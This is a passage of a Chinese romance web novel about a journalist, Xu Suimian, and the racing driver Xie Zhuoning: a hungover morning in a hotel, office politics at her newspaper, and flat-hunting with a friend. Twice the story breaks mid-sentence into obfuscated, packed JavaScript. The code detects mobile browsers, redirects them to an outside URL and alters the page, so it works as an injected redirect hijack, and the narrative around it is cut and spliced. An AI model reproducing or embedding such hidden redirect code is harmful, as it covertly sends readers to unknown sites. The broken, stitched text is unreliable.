“为什么..因为..因为.…”许岁眠眼神涣散,喃喃着,仿佛用尽了最后一丝力气,整个人软软地趴伏下去,滚烫的脸颊贴着他赤''裸的胸膛,呼吸渐沉。 彻底睡着了。 - 转天一早,许岁眠迷迷糊糊醒过来。浑身像散了架,脑袋里嗡嗡的,跟灌了铅似的。她费力地眨了眨眼,睫毛掀开,眼神一点点聚焦。这是哪儿?酒店?她怎么在这儿? 心里咯噔一下,下意识掀开被子往里瞧——光溜溜的!她猛地一激灵,彻底醒了。 厕所门“吱”地一声开了。脚步声由远及近。吓得许岁眠一哆嗦,猛地拽高被子把自己裹成个蚕蛹,死死缩在床头,心咚咚直跳。 “你……”她声音干涩发紧,瞪着从氤氲水汽里走出来的男人,紧张得心快跳出嗓子眼,还混杂着一股说不清道不明的气急败坏,好像他们昨晚真干了什么伤风败俗且无法挽回的大事。 谢卓宁显然是刚冲完澡,黑发湿漉漉地滴着水,几缕随意搭在额角。崭新的深色睡袍带子松松系着,露出一片紧实的麦色胸膛。 他目不斜视地路过床边,眼神在她裏紧的被子上短暂停留了那么一瞬,嘴角勾起一丝毫不掩饰的讥诮:“慌什么?又不是没睡过。” 径直走到茶几旁,修长的手指从烟盒里磕出一支烟,银质打火机“叮”地一声脆响,幽蓝火苗窜起,他低头,薄唇叼住烟尾点燃,动作行云流水。 许岁眠脸腾地红了:“你!你……”你了半天,气结。 谢卓宁这才转过身,隔着几步的距离,居高临下地看着她,烟雾模糊了他冷硬的轮廓,声音也硬:“没睡。你他妈昨晚醉得跟条死狗似的,我睡你跟强''奸有什么区别?” “……”许岁眠一口气噎在喉咙里,不上不下。她舔了舔干涩的嘴唇,紧绷的身体稍微松懈了一点。但马上又想起关键问题:“那我衣服呢?” “吐得跟地图似的,还想穿着睡觉?”谢卓宁弹了下烟灰,“让人拿去干洗了。等着吧。”他说完,转身走到电话旁,拿起内线电话拨了个号,低声说了几句。 没过多久,门铃响了。 谢卓宁去门口接了送来的衣物袋,走回来,看也没看,直接朝床上的人形蚕蛹扔了过去。 许岁眠眼皮一跳,赶紧手忙脚乱地抱住衣服袋。想换,但被子底下光着,又缩在被子里,只露出雪白的脖颈和一小截纤细的胳膊。她犹豫片刻,硬着头皮抬眼看他:“你…回避一下? 谢卓宁叼着烟,眼神嫌弃地瞥她一眼,似乎是嫌她事儿多。抄起茶几上还剩半瓶的矿泉水,慢悠悠转过身去,对着窗外。 许岁眠立刻掀开被子,手忙脚乱地从袋子里掏出衣服,飞快地往身上套。房间里很安静,只有衣料摩擦的窸窣声。 巨大的落地窗反光里,一抹纤细的身影在晃动。谢卓宁握着水瓶的手指无意识地收紧,喉结上下滚动了一下。 “好了。”许岁眠的声音传来,带着点如释重负。她把散乱的长发随意拨到肩后,转过身。 几乎同时,谢卓宁也掐着点似的扭过头。 四目相对。 空气瞬间凝固。 一种巨大而无声的尴尬,沉甸甸地弥漫开来。 “昨晚...”许岁眠艰难地开口,嗓子有点哑。她想解释自己喝多了,又实在不敢深究昨晚到底做了什么丢人现眼的事。目光瞟向他,那张俊脸依旧没什么表情,但眼底的疲惫和眉宇间残留的冷意,显然昭示着昨晚他也绝不好过。 她酒品差,自己心里门儿清。 本来是冲着专访来的,这下好了,又得泡汤。 谢卓宁看着她那副欲言又止,恨不得原地消失的怂样,烦躁地又从烟盒里磕出一支烟点上,率先打破了沉默,“下周我去外地比赛。等我回来,你定个时间,到车队来采。” 许岁眠愣了一下,没想到他竟会这么说。 “……好。”她赶紧应下。 尴尬还在蔓延,沉甸甸的压着。还有那没说出口的… 她鼓起勇气,声音更低了点:“那个…昨晚我…” “行了。”谢卓宁打断她,烟雾缭绕中看不清表情,“以后一个人别往死里喝,为个破采访,犯不上。” 许岁眠小声嘀咕,不服气似的倔:“不是破采访……” 谢卓宁懒得跟她掰扯,也没她那套矫情劲儿。抽完烟,随手把烟蒂摁灭在烟灰缸里,然后,就在许岁眠震惊的目光注视下,他旁若无人地一把扯开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许岁眠嘴唇瞬间褪尽了血色,几乎是扑过去紧跟上谢卓宁的脚步,颤抖的声音带着点哀求:“谢卓宁!你.你能捎我一段吗?求你……”她甚至不敢回头确认许屹骁是不是还在看。 谢卓宁脚步没停,只丢下两个字:“等着。” “我和你一起去停车场!”许岁眠寸步不离。 到了停车场,她几乎是手脚并用地爬进副驾驶座,整个人缩在那里,惊魂未定。 谢卓宁发动车子,顺手提醒了一句:“安全带。”他侧头看了她一眼,眉头微皱,好像看出她反应有点奇怪。 引擎轰鸣,车子缓缓驶出车位。谢卓宁习惯性地扫了眼后视镜,正好看到那群公子哥儿也各自上了车,清一色的顶级超跑。他的目光在其中一辆颜色特别扎眼的拉法上停留了一瞬。 “刚才打头那个,”谢卓宁握着方向盘,声音没什么起伏,像是随口一问,“是许屹骁吧?” 许岁眠身体瞬间绷得更紧,顺着他示意的方向飞快而惊惶地瞥了一眼后视镜,立刻像被烫到一样收回目光,手指死死抠着胸前的安全带,声音发颤:“没…没看清。” 谢卓宁从鼻子里哼了一声,没再追问,利落地挂挡。 车里沉默了一会儿。谢卓宁突然开口,语气带着点刻薄的玩味:“你家挺有意思。你爸进去了,倒把你妈和你弟安排得妥妥帖帖。你妈别墅保姆享清福……你弟在加拿大更是挥霍无度,游艇豪车派对不断。只有你,” 他顿了顿,侧头看了她一眼,“在美国穷得叮当响,一天恨不得打三份工,吭哧吭哧挣学费。” 许岁眠猛地转头看他,声音干涩:“你….你怎么知道这些?” “这特么还是秘密?”谢卓宁嗤笑一声,目视前方,“整个一圈内笑料。” 许岁眠哦了声,默默扭过头,看向窗外,不说话了。 过了好一会儿,她才低低地,像是自言自语,又像是辩解:“其实……也还行。我自己有手有脚,能挣钱养活自己。花自己挣的钱,心里踏实,也安心。” 谢卓宁透过透视镜扫她一眼,没再说什么,只是脚下猛地一踩油门。车子发出一声低吼,噌地窜了出去,汇入了早晨的车流里。 12. 岁岁 许岁眠拖着灌了铅似的双腿挪回家,草草冲了个澡。临睡前,她倚在门框上,指尖划拉着前两天刚装的楼道监控屏幕,反复确认了几遍没人尾随,这才提心吊胆地缩进被窝。 翌日到了报社,她径直去找郝德柱汇报谢卓宁专访的进展。 肥老炮那张胖脸瞬间笑开了花:“好事儿啊!真能拿下他,我今年给你申请个优秀员工奖!” “优秀员工就算了,主编,”许岁眠单刀直入,“我想调回民生组,您看行吗?” 郝德柱脸上的笑纹淡了,端起搪瓷茶缸,慢悠悠吹开浮沫:“呵呵,小许啊,不是我不认你的实力。可民生组是咱先锋报的核心部门,门槛高,得常跟政府领导打交道。你之前也不是没待过,机会我也不是没给过你……那什么,前两天交给你焦化厂的活儿,怎么样了?” 许岁眠抿了抿唇:“还在跟,厂方负责人和村民都不配合,卡着呢。” “你看,这点小事都……”郝德柱放下茶缸,语重心长,“咱们干工作也好,做人也好,得脚踏实地,不能眼高于顶。拿什么说话?先把焦化厂这篇报道给我漂漂亮亮整出来。后续嘛,看情况,我再考虑考虑把你往民生调的事儿。” “肥老炮”顿了顿,又猛地想起什么似的,指关节敲敲桌面,“对对对!你刚说的谢卓宁专访,千万别给我撂挑子!去吧。” 许岁眠回到工位,几不可闻地吁了口气。刚拿起手机想给谢卓宁发消息,就瞥见薛晓京的微信跳出来:“宝儿!房子搞定!东城区,二环里,出门地铁,单间独卫,私密性绝佳,三千拿下!” “我这是撞大运了???”许岁眠随手回了仨问号,把手机屏幕朝下一扣,埋头继续干活。 晚上下了班,薛晓京那辆白色小宝马已经等在报社楼下。“说真的宝儿,这次你真是捡着大漏了!我跟你说啊……”薛晓京一上车就叭叭不停。 许岁眠倒没接茬,反而斜睨着她笑:“哟,薛大小姐消费降级了?小卡宴换小宝马了?” “害!”薛晓京一挥手,“别提了,领导找我谈话,让低调点。你说我爹一没贪二没占的,我姥姥家拆迁分了我妈十套房,这他妈的让我怎么低调?” 许岁眠挑眉,语气促狭:“我愿意替薛大小姐分担这种甜蜜的负担,要不……房子分我两套?” “成啊!”薛晓京拍着方向盘,“您先验验今儿这‘窝’,不满意咱立马奔我那儿!” 俩人嘻嘻哈哈开到东城某小区。刚进小区门,许岁眠瞥了眼站得笔挺的保安,眉头就蹙了起来:“这小区新盘吧?二环里新小区,独门独户,水电齐全,月租三千?”她扭头看薛晓京,“你确定不是少说了一个零?” “哎呀走走走,先看看再说!”薛晓京眼神飘忽,连推带搡把她弄进了电梯。 许岁眠就着敞开的门往里扫了一眼,心下雪亮。连门槛都没迈进去,卧室卫生间更懒得看,直接抱臂倚在门框上。 “说吧,什么猫腻儿?” 薛晓京瞅她那副了然于胸的表情,知道瞒不住,她也不是那藏着掖着的性子,干脆摊牌:“害!是霍然!丫听说我给你踅摸房子呢,正好他有套房子空着,反正也没人住,就……” 许岁眠立刻抬手做了个“打住”的手势:“拉倒吧您呐!”转身就往电梯口走。 “哎呦喂,至于么!咱们一块玩泥巴过家家长大的发小,还矫情这个?”薛晓京追着进了电梯,“主要是他这房子空着也是空着,浪费!你帮他住着,那还给他攒点人气儿呢……” 话没说完,许岁眠一记眼风扫过来,带着少见的严肃。薛晓京脖子一缩,立马噤声,蔫蔫地:“我错了还不行么……” “今天是一套房,明天是一辆车,后天又是什么?”许岁眠字字清晰,“就这么一点一点欠着人情,到最后拿什么还?既然不喜欢,就干脆利落点。我不想被人戳脊梁骨说渣女。” 她顿了顿,看薛晓京鼓腮帮子委屈巴巴,像只小河豚,又笑了笑,伸手捏捏她的脸,“好了,知道你是好心,走,请你吃饭。” 薛晓京瞬间满血复活,就这么没心没肺:“成!咱去吃怀石料理!我知道有家新开的店,离这儿不远,特地道!” “走着!” 俩人还喝了点小酒。房子的事儿到底没着落,薛晓京一拍桌子:“干脆你搬来跟我住得了!反正我那房子够大,回头咱俩睡一张床,你还能监督我早睡早起,省得我天天早上上班跟要上刑场似的!” 薛晓京进体制内刚半年,每天早上挣扎起床都是场酷刑。她打小锦衣玉食,哪受过这朝九晚五的罪? 许岁眠咽下口中的刺身,促狭一笑:“拉倒吧,何家瑞来了我躲哪儿?床底下?” “噗——!”薛晓京一口盐汽水差点喷出来。 许岁眠赶紧递纸巾:“至于吗您?” “你……你说什么?”薛晓京呛得脸通红。 许岁眠眨眨眼:“别装了,知道你俩暗通款曲呢。” 有次去薛晓京那儿,许岁眠在她床头那堆乱七八糟的杂志底下,摸出块男士腕表,还是块大复杂款的陀飞轮,就那么随随便便塞在枕头边。 当时她没点破,成年人嘛,心照不宣。可后来琢磨,那表越看越眼熟,把圈子里几位爷的脸在脑子里扒拉一遍,除了何家瑞,还能是谁? 薛晓京咽了下口水,脸蛋红扑扑的,倒也没狡辩,只心虚地瞟她:“你……不生气哈?” “不生气。” “真的?” “向毛爷爷发誓。” 薛晓京嘿嘿傻乐,看许岁眠今天气色红润,心情颇佳,贼兮兮地凑近:“我瞧着这位施主眉带春色,印堂发亮,是不是……有什么好事儿发生呀?” 许岁眠夹菜的筷子一顿,昨夜和谢卓宁在酒店的场景骤然浮现,耳朵尖儿瞬间染上薄红,低头默默抿了口酒。 薛晓京看她这副欲盖弥彰的娇羞样,福至心灵:“怎么着啊许记者?想通了?昨儿晚上采阳补阴去了?” “去你的!”许岁眠呸道。正好手机屏幕亮起,谢卓宁的微信跳出来——“周三以后都行,时间地点你定。” 许岁眠嘴角微扬,扣下手机,冲薛晓京挑了挑眉:“你猜。” “我操!丫来真的啊?”薛晓京眼珠子都快瞪出来了。 …… 晚上薛晓京送许岁眠回去,临走还拍胸脯保证:“这次我一定百分百用心,给你找个十全十美的窝儿,放心宝儿!” 许岁眠回了个飞吻。走进小区,虽然做了心理建设,踏入楼道那片昏黑时,不安感还是丝丝缕缕冒出来。直觉告诉她,许屹骁那疯子不会善罢甘休。她攥紧包里的防狼电棒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117873|179993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏住呼吸,飞快扫视一圈,确认无人,才闪电般开门闪进屋里。 洗完澡准备睡觉,临睡前手机却突兀地一震。她点开,竟是莫振一发来的消息。心头一跳,莫总找她做什么? “香片管用吗?”屏幕上就这几个字。许岁眠忽然想起上次,莫振一送的那香片,其实早被她束之高阁了。毕竟她也没想和大佬扯上关系。 深夜十点。许岁眠看了眼挂表,熄了屏,翻身睡觉。大佬的短信不能不回,这是礼貌,但不想纠缠就不能立刻回。她选择转天一早回,这样既不失礼数,也掐灭了午夜时分成年人那点心照不宣的暧昧苗头。 翌日清晨,她拿起手机,客客气气回了条:“抱歉莫总,昨晚睡得早没看到信息。香片还没用呢,谢谢您惦记着。” 大佬那边也极有分寸,回了个老干部专用的“微笑”表情包,再无下文。 许岁眠一上午都在报社埋头整理焦化厂的资料。偷闲下楼买咖啡时刷手机,看到谢卓宁发了条朋友圈。 是张他爱车的照片,看意思要退役了,配文:“跟着我,辛苦了。”字里行间透着不舍。 底下评论区煞是热闹。霍然何家瑞杨知非排着队刷屏: “不辛苦,命苦。晚上哥哥对我好点就行了~” “不辛苦,命苦。晚上哥哥对我好点就行了~” “不辛苦,命苦。晚上哥哥对我好点就行了~” 谢卓宁挨个回复:“滚!”“滚蛋!”“滚他妈蛋!” 薛晓京跟着蹦出来一条:“啊哈哈哈哈哈哈哈!!!” 许岁眠看着,嘴角不自觉弯起,指尖轻轻一点——一个赞浮在上面。 上一秒还热火朝天的评论区,瞬间如同被冰封。 安静如鸡。 薛晓京正捧着手机在机关食堂嗦米线,猛地顿住,低头看看碗里飘着的菌子,又看看手机屏幕:什么情况?老娘菌子中毒出现幻觉了? 谁不知道谢卓宁早把许岁眠拉黑删除八百辈子了?这些年他俩没在互相朋友圈出现过一次。 谢卓宁刚从楼下拎了两瓶水上来,手机已经炸了。 何家瑞和杨知非在他那条朋友圈底下疯狂@霍然,还有几个凑热闹的一块: @霍然,兄弟节哀。 @霍然,兄弟节哀。 @霍然,兄弟节哀。 …… 巧了么这不是,霍然此刻,正他妈的在谢卓宁这儿坐着呢。 谢卓宁瞥了眼手机,面不改色地合上扔一边,把水递给霍然。坐回沙发,抬了抬下巴,示意他继续刚才的话题。 霍然像是才回过神,魂不守舍地接过水,手指收紧,喉结滚动了一下:“刚…刚说到周三的比赛,只要我们……”居然就卡了壳,不知再怎么往下说。 谢卓宁歪在沙发里,单手拧着瓶盖,好整以暇地看着他。 霍然干脆把水往茶几上一搁,抬头,终究是憋不住心里那根刺,像是自我安慰似地:“操!没事儿!我没当真!我还不知道你?你跟岁岁掰了这么多年了,早就对她避如蛇蝎,见一面都嫌她晦气!加个好友而已,丫他妈的都能扯到你们复合,这帮孙子也是够闲得蛋疼……” 谢卓宁懒洋洋地打断他,嘴角勾起一抹难以捉摸的弧度,忽然轻飘飘撂下一句: “我们睡了。”